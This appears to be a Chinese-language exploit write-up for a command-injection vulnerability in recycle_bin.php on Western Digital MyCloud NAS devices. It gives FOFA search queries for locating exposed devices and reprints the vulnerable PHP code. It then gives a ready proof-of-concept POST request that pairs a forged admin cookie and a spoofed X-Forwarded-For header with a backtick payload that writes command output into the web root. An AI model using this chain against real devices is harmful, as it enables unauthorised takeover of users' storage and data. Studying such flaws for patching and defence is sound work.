西部数码 NAS recycle_bin.php 命令执行漏洞


漏洞简介

Western Digital MyCloud NAS是一款网络附加存储设备,旨在提供集中存储和共享解决方案。它允许用户在家中或办公室通过网络访问文件,支持多种设备的备份和共享。Western Digital MyCloud NAS recycle_bin.php中存在命令执行漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。

影响版本

<=2.11.153(老版本,已发布修复补丁)

fofa语法

icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"

body="_PROJECT_MODEL_ID_YOSEMITE " && body="_PROJECT_MODEL_ID_LIGHTNING "

漏洞分析

直接看 recycle_bin.php 其业务实现逻辑如下

<?php
session_start();
$r = new stdClass();
$r->success = false;

include ("../lib/login_checker.php");

/* login_check() return 0: no login, 1: login, admin, 2: login, normal user */
if (login_check() != 1)
{
    echo json_encode($r);
    exit;
}

function get_xml_value_from_memory($node)
{
    $res = array();
    $cmd = sprintf("xmldbc -g %s ", $node);
    exec($cmd, $res);
    return $res;
}

function set_xml_value_to_memory($node, $val)
{
    $cmd = sprintf("xmldbc -s %s \"%s\"", $node, $val);
    pclose(popen($cmd, 'r'));
}

$action = $_POST['action'];

$r = new stdClass();
switch ($action)
{
    case "get_info":
    {
       $r->auto_clear = get_xml_value_from_memory("/recycle_bin/auto_clear")[0];
       $r->clear_days = get_xml_value_from_memory("/recycle_bin/day")[0];
       if ($r->clear_days == "") $r->clear_days = 1;

       $r->success = true;
       echo json_encode($r);
    }
       break;

    case "save":
    {
       set_xml_value_to_memory("/recycle_bin/auto_clear", $_POST["enable_auto_clear"]);
       set_xml_value_to_memory("/recycle_bin/day", $_POST["clear_days"]);

       pclose(popen("xmldbc -D /etc/NAS_CFG/config.xml", 'r'));
       pclose(popen("access_mtd \"cp -f /etc/NAS_CFG/config.xml /usr/local/config\"", 'r'));

       $r->success = true;
       echo json_encode($r);
    }
       break;
}
?>

当action=save时,POST参数enable_auto_clear和clear_days都是在未经过滤或校验的情况下直接传递进set_xml_value_to_memory方法当中的$val部分,再由sprintf格式化拼接到cmd中,最后由popen来执行拼接后的命令。尽管此漏洞需要管理员权限才能触发,但可以结合login_check的权限绕过达到 rce的效果。

漏洞复现

或者如下cookie

isAdmin=1;username=admin\" -s 1337 -c \"

POST /web/setting/recycle_bin.php HTTP/1.1
Host: west-nas.mrxn.net
X-Forwarded-For: 127.0.0.1
Cookie: isAdmin=1;username=admin
Content-Type: application/x-www-form-urlencoded

action=save&enable_auto_clear="`pwd>/var/www/t.png`"

成功执行命令并输出到测试文件


手机扫码阅读

亿赛通-电子文档安全管理系统 DecryptApplication 多个文件读取漏洞

亿赛通-电子文档安全管理系统 UploadFileManagerService 任意文件读取漏洞

评 论